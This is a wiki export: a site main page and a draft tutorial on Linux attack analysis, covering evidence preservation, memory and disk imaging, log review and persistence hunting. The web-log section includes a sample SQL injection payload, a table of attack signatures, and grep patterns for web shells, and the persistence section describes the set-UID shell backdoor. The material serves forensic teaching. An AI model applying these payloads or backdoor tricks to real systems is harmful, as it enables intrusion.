WikiCyber - User contributions [en]

Main Page

2026-10-16T20:21:07Z

FlyingShrimps:

__NOTOC__
<div class="wc-corporate" aria-label="Main page">
<div class="enterprise-hero"><div class="enterprise-hero-inner">
<div><h1>Understand systems.<br><span>Build your defenses.</span></h1><p class="hero-intro">A clear, practical reference for learning cybersecurity. Explore practical guidance on operating systems, network security, and digital forensics.</p><div class="hero-actions">[[#topics|<span class="button primary">Explore the knowledge base <span aria-hidden="true">→</span></span>]][[Special:AllPages|<span class="text-link">Read an article ↗</span>]]</div></div>
<div class="hero-art" role="img" aria-label="WikiCyber connects operating systems, network security, and digital forensics knowledge">
<div class="art-heading"><span class="wc-diagram-brand"></span><span>WikiCyber</span></div>
<div class="art-core"><strong>Knowledge from systems to security.</strong></div><div class="art-connector"></div>
<div class="art-branches"><div><div class="art-node"><span class="wc-diagram-icon wc-diagram-systems"></span>Operating systems</div></div><div><div class="art-node"><span class="wc-diagram-icon wc-diagram-network"></span>Network security</div></div><div><div class="art-node"><span class="wc-diagram-icon wc-diagram-forensics"></span>Digital forensics</div></div></div>
</div>
</div></div>
<div class="knowledge-strip"><div class="knowledge-strip-inner"><strong>Find the knowledge you need.</strong><div>[[:Category:Windows|Windows]][[:Category:Linux|Linux]][[:Category:Cisco|Cisco & networking]][[:Category:Windows Forensics|Digital forensics]]</div></div></div>
<div class="home-section" id="topics" aria-labelledby="topics-title"><div class="section-heading"><h2 id="topics-title">Build on a stronger<br>technical foundation.</h2></div>
<div class="topic-grid">
<div class="topic-card"><span class="topic-icon blue" aria-hidden="true">⊞</span><h3>[[:Category:Windows|Windows]]</h3><p>Accounts, policies, PowerShell, and the foundations of a secure Windows system.</p>[[:Category:Windows|Explore Windows →]]</div>
<div class="topic-card"><span class="topic-icon green" aria-hidden="true">>_</span><h3>[[:Category:Linux|Linux]]</h3><p>Permissions, services, account auditing, and practical command-line guidance.</p>[[:Category:Linux|Explore Linux →]]</div>
<div class="topic-card"><span class="topic-icon blue" aria-hidden="true">⌘</span><h3>[[:Category:Cisco|Cisco & networking]]</h3><p>Networking concepts, routing, and the configuration behind secure connections.</p>[[:Category:Cisco|Explore networking →]]</div>
<div class="topic-card"><span class="topic-icon green" aria-hidden="true">◎</span><h3>[[:Category:Windows Forensics|Digital forensics]]</h3><p>Event logs, system artifacts, and methods for understanding what happened.</p>[[:Category:Windows Forensics|Explore forensics →]]</div>
</div><p id="search-status" class="muted" role="status" aria-live="polite"></p>
</div>
<div class="enterprise-feature"><div class="enterprise-feature-inner"><div><h2>Follow the evidence.<br>Understand the system.</h2><p>Bring structure to an investigation. Start with context, preserve what matters, and compare the records that help explain an event.</p>[[:Category:Windows Forensics|<span class="text-link">Explore the forensics collection →</span>]]</div><div class="terminal"><div><span>linux</span></div><pre><span># Establish a starting point</span>
$ journalctl --since today
$ last -a
$ ss -tulpn</pre></div></div></div>
<div class="contribution-section" id="contribute"><h2>Contribute your experience.<br>Help improve the reference.</h2><div><p>WikiCyber is a free educational project. Invited contributors develop articles, and assigned reviewers review drafts before publication.</p>[[Help:Your first article|<span class="text-link">Writing your first article ?</span>]]</div></div>
<div class="corporate-rule" aria-hidden="true"></div>
</div>

Attack Analysis

2026-10-02T23:37:56Z

FlyingShrimps: Requested review by FlyingShrimps: added to the review queue

{{submit}}
{| class="mw-collapsible mw-collapsed wikitable" style="width:100%"
! Recommended Prerequisites (click to expand)
|-
|

[[Intro to Bash]], [[Grep and Loops]], [[Introduction to Service Auditing]], [[User Auditing - Beginner]]

|}

'''Attack analysis''' is the work you do ''after'' something has gone wrong, or when you suspect it has: for example working out how an attacker got in, what they did, whether they are still there, and what you can prove. This page will walk you through that process on a Linux system, and will use tools that ship with a typical distribution, as well as a few free forensic tools for memory and disk images.

== Ground rules ==

* '''Only analyze systems you own or are explicitly authorized to examine.''' This one is pretty self-explanatory.
* '''Write down what you do.''' Keep track of all the commands you run and the time you ran them (in UTC). Your notes are how you (or someone else, like your colleague) can later tell your activity apart from the attacker's.
* '''Any indicator is a lead, but not proof.''' A failed-login flood, an odd file in <code>/tmp</code> or a scanner warning each has innocent explanations. Look for several independent signs that tell the same story.
* '''Do not trust a compromised machine to tell the truth.''' If an attacker had administrator (root) access, they may have replaced the very commands you use to investigate. See [[#Step 5: Rootkits and tampering|Step 5]].
* '''Understand before you delete.''' Removing a malicious file or killing a process is tempting, but it also destroys evidence and can leave the backdoor/persistence (a cron job, an SSH key) untouched.
* '''Work on copies, read-only.''' Whenever you can, examine an image of the disk or memory rather than the original, mount images read-only, and record a hash (for example with <code>sha256sum</code>) of each image when you make it so you can show later that it did not change.

== The analysis loop ==

Most investigations follow the same rough loop. You will often go around it more than once as new findings raise new questions.

# '''Preserve''' evidence: memory, running state and disks, before they change or disappear.
# '''Find the way in''': the initial access (a guessed password, a vulnerable web application, a stolen key).
# '''Find what they did''': commands run, files touched, accounts created, data reached, etc.
# '''Find what they left behind''': persistence/backdoors so they can come back.
# '''Look for hiding''': rootkits and log tampering.
# '''Build a timeline''' that ties the above together, and check it for gaps.
# '''Contain, clean up and harden''': only once you understand the scope.

== Three ways to examine a system ==

The same questions can be asked of a running machine, a copy of the memory of the machine, or a copy of the machines disk. Each has strengths and blind spots, and a thorough investigation will always use more than one of the following approaches.

{| class="wikitable"
! Approach !! What you get !! Watch out for
|-
| '''Live system''' (typed commands, or a collection tool such as UAC) || Fast. Running processes, network connections, logged-in users, files and logs, in minutes. It is often the only practical option you have when disks are huge, or the network is slow, or there are many machines. || Every command you run changes the system, and you are relying on tools the attacker may have tampered with (for example, replacing /bin/cat with a malicous script).
|-
| '''Memory image''' || Processes (including ones hidden from normal tools), network connections, loaded kernel modules, shell command history with timestamps, and data that never reaches disk. || Only exists while the machine is on. Linux analysis needs a description ("symbols") of the exact kernel that was running, which can be hard to obtain (see [[#Going deeper: memory analysis with Volatility 3|below]]).
|-
| '''Disk image''' || Everything is stored on the disk: logs, configuration, user files, timestamps. It can only be examined read-only, so it is the safest to work with, and can be examined again and again. || There is no running state. It is also a large file. Linux disks have extra layers (LVM, RAID, encryption) to get through, and deleted files are often extremely hard to recover.
|}

== Where Linux keeps evidence ==

Paths differ slightly between distributions. The main split is Debian/Ubuntu versus Red Hat family (RHEL, Fedora, Rocky, Alma).

{| class="wikitable"
! What !! Where (Debian/Ubuntu) !! Where (RHEL family) !! What it tells you
|-
| Authentication and sudo || <code>/var/log/auth.log</code> || <code>/var/log/secure</code> || SSH logins (successful and failed), <code>sudo</code> and <code>su</code> use, new accounts
|-
| General system log || <code>/var/log/syslog</code> || <code>/var/log/messages</code> || Service starts and crashes, kernel messages, cron runs
|-
| systemd journal || <code>journalctl</code> || <code>journalctl</code> || The same events, indexed; the only source on systems without a syslog daemon
|-
| Login records || <code>last</code>, <code>lastb</code>, <code>lastlog</code> (read <code>/var/log/wtmp</code>, <code>btmp</code>, <code>lastlog</code>) || same || Who logged in, from where, and when; failed logins
|-
| Web server logs || <code>/var/log/apache2/</code> or <code>/var/log/nginx/</code> || <code>/var/log/httpd/</code> or <code>/var/log/nginx/</code> || Every request the web server handled (see below)
|-
| Audit framework (if installed) || <code>/var/log/audit/audit.log</code> || <code>/var/log/audit/audit.log</code> || File access, command execution and account changes, according to the rules configured
|-
| Package history || <code>/var/log/dpkg.log</code>, <code>/var/log/apt/history.log</code> || <code>dnf history</code>, <code>/var/log/dnf.log</code> || Software installed or removed, and when
|-
| Shell history || <code>~/.bash_history</code> (for each user) || same || Commands a user typed (can be disabled or erased, so no command history does no necessarily mean something has gone wrong)
|-
| Scheduled tasks || <code>/etc/crontab</code>, <code>/etc/cron.*</code>, <code>/var/spool/cron/crontabs/</code> || <code>/etc/crontab</code>, <code>/etc/cron.*</code>, <code>/var/spool/cron/</code> || Commands that run automatically
|}

If <code>/var/log/auth.log</code> does not exist on a newer install, the system is logging to the journal only; use <code>journalctl</code> instead.

When you examine a '''mounted disk image''' (see [[#Working from a disk image|below]]), put the mount point in front of every one of these paths, for example <code>/mnt/data/var/log/auth.log</code>. It is easy to read your own workstation's <code>/var/log</code> by accident.

== Step 1: Preserve evidence ==

Evidence disappears in a predictable order: memory and running processes first, then temporary files, then things on disk, and finally whatever is stored somewhere the attacker cannot reach (i.e., a remote log server). Capture the most fragile evidence first, and '''do not reboot''' the machine until you have it. Where possible, write what you collect to external storage, not the compromised disk, so you do not overwrite deleted files that might matter.

=== Live triage and volatile state ===

If you have a way to capture memory (see the [[#Capturing memory|next section]]), do that first, as every command you type also changes what is in memory. If you do not, start with these:

<syntaxhighlight lang="bash">
date -u; uptime # record the time and how long it has been up
who -a; w # who is logged in right now, and doing what
ps -eo pid,ppid,user,lstart,cmd --forest # process tree with start times
sudo ss -tunap # all sockets with the owning process
sudo lsof -nP -i # network files, a second opinion on ss
</syntaxhighlight>

Typing commands by hand is slow and is easy to get wrong under pressure. [https://github.com/tclahr/uac UAC] (Unix-like Artifacts Collector) is a free script that gathers the important live artifacts in a few minutes (processes and their executable paths, network connections, logged-in users, user and SSH files, logs, a list of set-UID programs, hashes of executable files, and a "body file" of all file timestamps for [[#Step 6: Building a timeline|timelines]]) and saves them in one compressed archive. It can also call a memory-capture tool:

<syntaxhighlight lang="bash">
# run from the unpacked UAC directory; "ir_triage" is the quick profile, "full" adds browser and application data
sudo ./uac -p ir_triage /mnt/evidence

# same as the above, but also includes a memory dump with AVML (UAC ships a configuration for it)
sudo ./uac -a memory_dump/avml.yaml -p ir_triage /mnt/evidence
</syntaxhighlight>

Option names and output folders change between UAC versions, so check the current documentation before an incident, not during an incident.

==== Reading the process list ====

It is important to read the process tree with the parent/child relationship in mind. On Linux the tree is mainly flat and regular, so not normal things stand out:

* '''A web server with a shell (<code>sh</code>, <code>bash</code>) or a download tool (<code>curl</code>, <code>wget</code>) as a child''' is one of the most obvious indicators of a web-application compromise, because the web server has no ordinary reason to do that. In general, background services should not spawn interactive shells.
* '''Programs running from the wrong place.''' System programs live under <code>/usr</code> (and third-party software under <code>/opt</code> or <code>/usr/local</code>). A program running from <code>/tmp</code>, <code>/var/tmp</code>, <code>/dev/shm</code> or someone's home directory should be scrutinized.
* '''Programs running from a deleted file.''' Malware can start itself and then delete its own executable, while the process keeps running. However, the file will be gone from the disk.
* '''Programs whose working directory is a hidden directory''' (a name starting with a dot, i.e. <code>.ssh</code>).
* '''Orphans.''' When a parent process exits, its children are adopted by the init process (PID 1, usually <code>systemd</code>), so an attacker's background job often shows a parent PID of 1. Many legitimate services look the same, so this is a reason to look, not a conclusion.
* '''Disguised names.''' A process can rename itself so that <code>ps</code> shows something like <code>[kworker/3:3]</code>, which looks like a kernel thread. Real kernel threads are children of <code>kthreadd</code> (PID 2) and have no executable file.

<syntaxhighlight lang="bash">
# programs running from a file that has since been deleted (common for malware that removes itself)
sudo sh -c 'ls -l /proc/[0-9]*/exe' 2>/dev/null | grep -F '(deleted)'

# running programs whose executable is not under /usr, /opt or /snap (starting point, expect some noise)
sudo sh -c 'ls -l /proc/[0-9]*/exe' 2>/dev/null | grep -vE -- '-> /(usr|opt|snap)/'

# processes whose current directory is a hidden directory
sudo sh -c 'ls -l /proc/[0-9]*/cwd' 2>/dev/null | grep -F '/.'

# "kernel threads" that are not children of kthreadd (PID 2): probably impostors
ps -eo pid,ppid,user,cmd | awk '$4 ~ /^\[/ && $2 != 2 && $1 != 2'

# what a suspicious process (PID 4188 here) is and where it lives
sudo ls -l /proc/4188/exe /proc/4188/cwd
sudo cat /proc/4188/cmdline | tr '\0' ' '; echo
</syntaxhighlight>

'''Recovering a deleted program.''' Because the running process still holds the file open, you can copy it out of <code>/proc</code> before you kill the process, and then hash it and study it (or look it up):

<syntaxhighlight lang="bash">
sudo cp /proc/4188/exe /mnt/evidence/pid4188.bin
sha256sum /mnt/evidence/pid4188.bin
</syntaxhighlight>

Also note '''listening''' ports (<code>sudo ss -tulpn</code>) that you cannot account for. Attackers sometimes leave a listener behind as a back door, and some tools default to well-known ports such as 4444, though a careful attacker will pick something ordinary-looking.

==== Where attackers stage files ====

Attackers who have not (yet) gained administrator access can still write to a few places, so these are worth checking first:

* <code>/tmp</code> and <code>/var/tmp</code>: world-writable and the classic spot.
* <code>/dev/shm</code>: also world-writable, but it lives only in memory. Everything in it is lost at shutdown, which makes it attractive for files the attacker does not want found. '''Look in it before you power the machine off.'''
* Hidden directories (names starting with <code>.</code>), especially ones that imitate something legitimate. For example, <code>/tmp/.ICE-unix</code> is a normal directory on Linux desktops, so a similar-looking <code>/tmp/.ICEd-unix</code> is designed to be overlooked. Another trick is a directory named with two dots and a trailing space (<code>.. </code>) placed next to the real <code>..</code>.

<syntaxhighlight lang="bash">
# hidden directories anywhere except /proc, /sys, root's home and users' home directories (which have legitimate ones)
sudo find / $ -path /proc -o -path /sys -o -path /root -o -path '/home/*' $ -prune -o -type d -name '.*' -print 2>/dev/null

sudo find /tmp /var/tmp /dev/shm -type f -ls
</syntaxhighlight>

=== Capturing memory ===

Memory is the most fragile evidence and holds things that never reach disk. Historically you could copy <code>/dev/mem</code> with <code>dd</code>, but the kernel now restricts that, so you need tools.

{| class="wikitable"
! Tool !! How it works !! Notes
|-
| [https://github.com/microsoft/avml AVML] || Reads memory through <code>/proc/kcore</code>. || A single program you copy to the machine. Usually the easiest choice. Writes to a file.
|-
| [https://github.com/504ensicsLabs/LiME LiME] || A kernel module you build for the machine's kernel and load || Can write straight to the network. Also works on Android.
|}

<syntaxhighlight lang="bash">
sudo ./avml /mnt/evidence/memory.lime
</syntaxhighlight>

Writing a multi-gigabyte file onto the suspect's own disk can overwrite deleted files you might want. Write to an external or network drive if you can. AVML insists on writing a "file," so if there is nowhere to put one you can give it a named pipe (FIFO) that forwards the data over the network as it is written:

<syntaxhighlight lang="bash">
# on the analysis machine: listen and save (netcat options differ between versions; this is the traditional form)
nc -l -p 9999 > memory.lime

# on the suspect machine
mkfifo /tmp/memfifo
cat /tmp/memfifo | nc -w 1 ANALYSIS_MACHINE_IP 9999 &
sudo ./avml /tmp/memfifo
</syntaxhighlight>

Only do this over a network you trust, as netcat does not encrypt anything. Hash the memory file when it is complete. Then check that you can actually use it, becuase Linux memory analysis often fails at the first hurdle (see [[#Going deeper: memory analysis with Volatility 3|the Volatility section]]).

=== Capturing a disk ===

How you image a disk depends on where the machine lives. It is best to be flexible as no single method fits every single case.

* '''Public cloud:''' use the provider's documented forensic procedure (usually a snapshot of the volume that you attach to an analysis instance).
* '''Your own hypervisor:''' snapshot the virtual machine. That typically gives you a memory image as well as the disk. Convert the virtual disk to a raw image if your tools need it (<code>qemu-img convert</code> does this).
* '''Physical disk:''' image the disk from a trusted boot environment (or through a hardware write blocker) with a forensic imager such as <code>ewfacquire</code> (compressed E01 files) or <code>dc3dd</code> (raw).

<syntaxhighlight lang="bash">
# raw image with a built-in hash and log (replace /dev/sdb with the disk being imaged)
sudo dc3dd if=/dev/sdb of=/mnt/evidence/disk.raw hash=sha256 log=/mnt/evidence/disk.log
</syntaxhighlight>

Forensic imaging usually happens on machines that were not shut down cleanly (a clean shutdown usually alters the disk). As a result, the file systems in the image are often "dirty," which matters when you mount them (below).

== Working from a disk image ==

Linux forensic tools generally want a '''raw''' image. Common forensic formats such as E01 must be converted or exposed as raw first. To add on to that, Linux disks are also often built in layers, and you may have to peel them back one at a time:

# '''E01 container''' (if used): expose it as a raw disk image.
# '''Partition table:''' find which partitions exist and where they start.
# '''Encryption or software RAID''' (if used): unlock or assemble it. (Not covered.)
# '''LVM''' (very common): activate the logical volumes.
# '''File system:''' mount it read-only.

<syntaxhighlight lang="bash">
sudo mkdir -p /mnt/img /mnt/data

# E01 container -> a virtual raw file at /mnt/img/ewf1 (read-only). Skip this if you already have a raw image.
sudo ewfmount Webserver.E01 /mnt/img

# partition table to check what's inside (mmls is from The Sleuth Kit; note each partition's Start sector)
mmls /mnt/img/ewf1

# attach a read-only loopback device at a partition's start (start sector x 512 bytes)
START_SECTOR=501760
sudo losetup -rf -o $((START_SECTOR*512)) /mnt/img/ewf1
losetup -a # which loop device did you get? (here: /dev/loop0)
file -s /dev/loop0 # confirm what is on it (for example: LVM2 PV)

# LVM: find and activate the volume group, then list its logical volumes
sudo pvdisplay /dev/loop0 # note the "VG Name"
sudo vgscan
sudo vgchange -a y VOLUME_GROUP_NAME
sudo lvscan

# file system: mount read-only, with no program execution allowed
sudo mount -o ro,noexec,noload /dev/VOLUME_GROUP_NAME/root /mnt/data
</syntaxhighlight>

Notes on the options:

* <code>ro</code> and <code>noexec</code>: even though the layers below are already read-only, use both anyway (it's a good habit to build), and <code>noexec</code> stops you from accidentally running malware from the image you are investigating (which would be really, really bad).
* <code>noload</code>: an image taken from a machine that was running is usually "dirty," meaning the file system's journal has unfinished changes. A plain read-only mount then fails (check <code>dmesg | tail</code>). <code>noload</code> tells the ext3/ext4 driver to ignore the journal so the mount succeeds without replaying (and thus modifying) anything. The trade-off however is that the last few changes before the capture may not be visible. XFS uses <code>norecovery</code> instead, and often also needs <code>nouuid</code> if your workstation has a file system with the same ID.
* A partition that is not part of LVM (often <code>/boot</code>) needs no LVM step: mount it straight from the image with <code>mount -o ro,noexec,loop,offset=$((START_SECTOR*512)) /mnt/img/ewf1 /mnt/data/boot</code> (add <code>noload</code> if it complains about the journal).

Take the layers down in reverse order when you are done:

<syntaxhighlight lang="bash">
sudo umount /mnt/data
sudo vgchange -a n VOLUME_GROUP_NAME
sudo losetup -d /dev/loop0
sudo umount /mnt/img # the ewfmount
</syntaxhighlight>

'''Traps when reading a mounted image:'''

* Owner names shown by <code>ls -l</code> come from '''your workstation's''' <code>/etc/passwd</code>, not the image's, so UID 1001 might display as the wrong person. Use <code>ls -ln</code> (numbers) or look up the IDs in the image's own <code>/mnt/data/etc/passwd</code>.
* Absolute symbolic links inside the image point at your own system's files, not the image's. Check with <code>readlink</code> instead of simply blindly trusting what a link shows you.
* Most tools can read a copy of a log directly: <code>last -aiF -f /mnt/data/var/log/wtmp</code>, or <code>journalctl -D /mnt/data/var/log/journal</code> (if the system kept a persistent journal).

== Step 2: Find the way in ==

=== Remote login (SSH) ===

Password guessing against SSH is constant background noise on any internet-facing host. The question is not "was I attacked?" (you were, of course) but "did any guess succeed?"

<syntaxhighlight lang="bash">
# which addresses failed the most (the address is the 4th field from the end of the line)
sudo grep "Failed password" /var/log/auth.log | awk '{print $(NF-3)}' | sort | uniq -c | sort -nr | head

# did any of them ever get in?
sudo grep "Accepted" /var/log/auth.log

# every event involving one address, in order
sudo grep -E "Failed|Accepted" /var/log/auth.log | grep 198.51.100.7
</syntaxhighlight>

Example output (addresses here are from the reserved documentation ranges, not real hosts):

<syntaxhighlight lang="text">
Sep 10 13:58:01 web sshd[911]: Failed password for root from 198.51.100.7 port 51522 ssh2
Sep 10 13:58:03 web sshd[911]: Failed password for invalid user admin from 198.51.100.7 port 51530 ssh2
Sep 10 13:58:09 web sshd[917]: Failed password for root from 198.51.100.7 port 51544 ssh2
Sep 10 13:59:40 web sshd[930]: Accepted password for deploy from 198.51.100.7 port 51601 ssh2
</syntaxhighlight>

The pattern to worry about is '''many failures, then a success, from the same address''', especially for an account that should never log in from that place. Confirm with the login records:

<syntaxhighlight lang="bash">
last -aiF | head -20 # recent logins with full timestamps and source IPs
sudo lastb -aiF | head -20 # recent failed logins
lastlog | grep -v "Never logged in"
journalctl -u ssh --since "2026-09-10" -g "Accepted" # the unit is "sshd" on RHEL-family systems
</syntaxhighlight>

Be aware that these records are easy to lose: <code>wtmp</code> is often rotated (truncated) weekly or monthly, <code>btmp</code> may not be kept at all because failed logins can contain mistyped passwords, and <code>lastlog</code>'s format varies between systems.

Success by public key leaves a different line (<code>Accepted publickey for ...</code>). If you see one for a key you do not recognize, go straight to [[#Step 4: Persistence|persistence]] and check <code>authorized_keys</code>.

=== Web applications ===

Web server access logs record one line per request. In the common "combined" format the fields are: client address, timestamp, request line, status code, response size in bytes, referrer and User-Agent.

<syntaxhighlight lang="text">
198.51.100.9 - - [10/Sep/2026:14:03:01 +0000] "GET /item.php?id=1%27%20UNION%20SELECT%20user,pass%20FROM%20users--%20- HTTP/1.1" 500 1024 "-" "sqlmap/1.7"
</syntaxhighlight>

Start with an overview, and then zoom in on one address:

<syntaxhighlight lang="bash">
LOG=/var/log/apache2/access.log # /var/log/nginx/access.log, or /var/log/httpd/access_log

awk '{print $1}' $LOG | sort | uniq -c | sort -nr | head # busiest clients
awk '{print $9}' $LOG | sort | uniq -c | sort -nr # status code counts
grep '^198.51.100.9 ' $LOG # everything one client did
</syntaxhighlight>

Attackers usually send their payload URL-encoded (<code>%27</code> is <code>'</code>, <code>%20</code> is a space). Decode the lines you are reading:

<syntaxhighlight lang="bash">
grep '^198.51.100.9 ' $LOG | python3 -c 'import sys,urllib.parse as u; [print(u.unquote(l),end="") for l in sys.stdin]'
</syntaxhighlight>

(A plain <code>+</code> in a query string can also mean a space; <code>unquote</code> leaves it alone so timestamps such as <code>+0000</code> stay readable.)

==== What common web attacks look like in the log ====

{| class="wikitable"
! Attack !! What to look for in the request !! Notes
|-
| SQL injection || <code>'</code> or <code>%27</code>, <code>UNION SELECT</code>, <code>OR 1=1</code>, <code>--</code>, or an automated-tool User-Agent such as <code>sqlmap</code> || A burst of <code>500</code> errors from one client while it probes is typical. A later run of <code>200</code> responses with unusually large sizes can mean data came back.
|-
| Cross-site scripting (XSS) || <code><script></code> or <code>%3Cscript</code>, <code>onerror=</code>, <code>javascript:</code> || Reflected XSS shows in the URL. Stored XSS is usually submitted in a POST body, which is not logged (see below).
|-
| Path traversal / file inclusion || <code>../</code>, <code>..%2f</code>, <code>%2e%2e</code>, or a path like <code>/etc/passwd</code> in a parameter || A <code>200</code> with a plausible response size means the file may have been returned.
|-
| Command injection || Shell metacharacters (<code>;</code>, <code>%3B</code>, backticks, <code>$(</code>) followed by commands like <code>wget</code>, <code>curl</code> or <code>/bin/sh</code> || Confirm with the process tree: did the web server user spawn anything?
|-
| Shellshock (CVE-2014-6271) || <code>() {</code> at the start of a header value, usually User-Agent, against a <code>/cgi-bin/</code> script || Old and long patched, but a good example: the attack rides in a header, not the URL.
|-
| Web shell upload || A POST to an upload form, then GET requests to a brand-new <code>.php</code> file in the upload directory || Look for files the application should not have created.
|-
| Scanning and reconnaissance || Many <code>404</code>s, requests for <code>/.env</code>, <code>/wp-login.php</code>, <code>/phpmyadmin</code>, or scanner User-Agents || Common and usually harmless on its own; it tells you who was looking, not who got in.
|}

<syntaxhighlight lang="bash">
# starting-point searches (expect some false positives; refine them as much as you can before you start trustung their results)
grep -iE "union.{1,10}select|sqlmap|%27" $LOG # SQL injection
grep -iE "<script|%3Cscript|onerror=" $LOG # XSS
grep -E "\.\./|%2e%2e|/etc/passwd" $LOG # path traversal
grep -E ' *\{' $LOG # Shellshock-style header
</syntaxhighlight>

'''Important limits of access logs.''' The server does not log '''POST bodies''' or, by default, most headers other than User-Agent and Referer. An injection sent by POST leaves only a bare <code>POST /login</code> line. To see those attacks you need application logs, database query logs, or a web application firewall (for example ModSecurity) that records rejected requests. Also, a <code>200</code> status only means the request was served, not that the attack worked, and a <code>500</code> does not mean it failed.

==== From a request to a compromise ====

A logged attack request proves that someone ''tried'' to attack. To decide whether it ''worked'', follow it into the rest of the system:

* Did a process appear in the tree, owned by the web server user (<code>www-data</code>, <code>apache</code>, <code>nginx</code>), just after the request timestamp?
* Is that process holding a network connection to an address that is not one of your users or dependencies?
* Are there new or modified files in the web root, <code>/tmp</code>, <code>/var/tmp</code> or <code>/dev/shm</code> from about the same time?
* Did the same client address go on to do anything else (a second request type, a login)?

<syntaxhighlight lang="bash">
# files in the web root changed in the last 2 days
sudo find /var/www -type f -mtime -2 -ls

# PHP files that call functions commonly used by web shells (often noisy)
sudo grep -RIlE "(eval|assert|system|passthru|shell_exec|proc_open)[[:space:]]*\(" /var/www --include=*.php
</syntaxhighlight>

== Step 3: What did they do? ==

=== Privilege escalation and account activity ===

<syntaxhighlight lang="bash">
sudo grep -E "sudo:|su\[|su:" /var/log/auth.log | grep -E "COMMAND=|session opened" # who ran what as root
sudo grep -E "useradd|usermod|groupadd|passwd\[" /var/log/auth.log # account changes
awk -F: '$3==0 {print $1}' /etc/passwd # accounts with UID 0 should be only "root"
sudo awk -F: '$2=="" {print $1}' /etc/shadow # accounts with an empty password
grep -vE '(nologin|false)$' /etc/passwd # accounts that can log in interactively
ls -l /etc/sudoers.d/; sudo grep -rvE '^\s*(#|$)' /etc/sudoers /etc/sudoers.d/
</syntaxhighlight>

A second UID-0 account, or a regular user suddenly present in <code>sudoers</code>, is a strong indicator. Attackers who want to blend in often reuse existing accounts rather than create obvious new ones, so also check that service accounts (such as <code>www-data</code> or <code>mysql</code>) still have a non-login shell and no usable password hash in <code>/etc/shadow</code>, and that nobody has been quietly added to a privileged group in <code>/etc/group</code>.

=== Command history ===

<syntaxhighlight lang="bash">
sudo sh -c 'ls -l /root/.bash_history /home/*/.bash_history' # empty? a symlink to /dev/null? recently truncated?
sudo sh -c 'cat /root/.bash_history /home/*/.bash_history'
</syntaxhighlight>

What to keep in mind about <code>.bash_history</code>:

* Bash writes history when a shell exits, so a session that is still open, or that was killed, may not be recorded yet. On a live system the missing commands are only in memory (see the <code>bash</code> plugin in [[#Going deeper: memory analysis with Volatility 3|the Volatility section]]).
* It has '''no timestamps''' by default (unless <code>HISTTIMEFORMAT</code> was set). To date a command, match it with other evidence:a log line, a file's timestamp, or a process start time. For example, a <code>useradd</code> in the history can be tied to the log entry for the new account and the modification time of <code>/etc/passwd</code>.
* It is a plain text file. Attackers can edit or delete it, clear it (<code>history -c</code>), unset <code>HISTFILE</code>, or link it to <code>/dev/null</code>. Older copies sometimes survive in the disk's unallocated space, so searching a disk image for typical command strings can recover deleted history.
* An ''empty or missing'' history on an account that is otherwise active is itself worth noting.

=== Other traces users leave behind ===

Interactive use of a Linux system leaves small traces in the user's home directory. Individually minor, they often fill in the story:

{| class="wikitable"
! File (in the user's home directory) !! What it can show
|-
| <code>.ssh/authorized_keys</code> || Keys that can log in ''to'' this account. Any key you do not recognize is a possible back door.
|-
| <code>.ssh/known_hosts</code> || Machines this user connected ''out to'' over SSH. It shows an SSH connection was made, not that the login succeeded. Entries can be hashed, hiding the addresses.
|-
| <code>.ssh/config</code> || Shortcuts, user names and jump hosts the user set up, which can reveal other systems they reach.
|-
| <code>.lesshst</code> || Search terms typed into the <code>less</code> pager, and commands run from inside it.
|-
| <code>.viminfo</code> || Files recently edited in <code>vim</code> (with the position in each), plus its search and command history.
|-
| <code>.local/share/recently-used.xbel</code> || Files opened through the desktop file manager, with timestamps (only on systems with a desktop).
|-
| <code>.local/share/Trash/</code> || Files deleted through the desktop; the <code>info/</code> folder records where each came from.
|-
| Browser profiles (Firefox, Chromium) || Browsing, downloads and saved sessions on desktop systems.
|}

=== The audit framework ===

If <code>auditd</code> is installed and configured, it is the best source for "who ran what." For example, with a rule that watches account files:

<syntaxhighlight lang="bash">
# in /etc/audit/rules.d/identity.rules
-w /etc/passwd -p wa -k identity
-w /etc/shadow -p wa -k identity

# later, when investigating
sudo ausearch -k identity -i # events that matched the rule, human-readable
sudo aureport -au # authentication summary

# the same tools can read logs copied off a machine or mounted from an image
sudo ausearch --if /mnt/data/var/log/audit -i -c useradd
</syntaxhighlight>

If keystroke (TTY) auditing was enabled, <code>aureport --tty</code> can show what was typed. Auditing has to be set up ''before'' the incident; it cannot reconstruct events that were never recorded.

== Step 4: Persistence ==

Attackers who got in once want to be able to get back in. Some do not bother (opportunistic cryptocurrency miners are sometimes dropped with no persistence at all), but many do. Check every place a program can be made to start again on its own:

<syntaxhighlight lang="bash"># scheduled tasks
cat /etc/crontab; ls -la /etc/cron.d /etc/cron.hourly /etc/cron.daily
sudo ls -la /var/spool/cron/crontabs/ # /var/spool/cron/ on RHEL family
sudo ls -la /var/spool/cron/atjobs/ 2>/dev/null # one-time "at" jobs (Debian/Ubuntu)
systemctl list-timers --all

# services and units
systemctl list-unit-files --state=enabled
sudo find /etc/systemd /usr/lib/systemd -type f -newermt "2026-09-01"
ls -la ~/.config/systemd/user 2>/dev/null

# SSH keys (any key listed here can log in as that user with no password)
sudo find / -xdev -name authorized_keys -exec ls -l {} \;
sudo sh -c 'cat /root/.ssh/authorized_keys /home/*/.ssh/authorized_keys' 2>/dev/null

# shell start-up files that run at every login
ls -la /etc/profile.d/ ~/.bashrc ~/.profile /root/.bashrc

# programs injected into every process (normally this file is absent or empty)
cat /etc/ld.so.preload 2>/dev/null</syntaxhighlight>

Older systems use init scripts under <code>/etc/init*</code> instead of (or as well as) systemd. And remember that an attacker who wants to be less obvious may leave the cron entry or service unit alone and instead modify a '''script that a legitimate task already runs'''. Look at what your scheduled tasks and services actually execute, not only at their configuration.

'''Back doors beyond start-up entries:''' a web shell in the web root; a replacement <code>sshd</code> with a built-in password; an extra UID 0 account; a service account given a password; an added <code>authorized_keys</code> line; a broadened <code>sudoers</code> entry; and the set-UID trick below.

'''Set-UID/set-GID programs.''' A program with the set-UID bit runs with its ''owner's'' privileges rather than the user's (this is how <code>passwd</code> can update <code>/etc/shadow</code>). An attacker with root can copy a shell, turn on the set-UID bit and leave it somewhere quiet; anyone who can run it (with <code>-p</code>, so it does not drop its privileges) is root again.

<syntaxhighlight lang="bash">
# set-UID / set-GID programs anywhere outside /usr (there should be very few)
sudo find / $ -path /proc -o -path /sys $ -prune -o -type f $ -perm -4000 -o -perm -2000 $ ! -path '/usr/*' -ls 2>/dev/null

# the full list of set-UID programs
sudo find / -xdev -perm -4000 -type f 2>/dev/null
</syntaxhighlight>

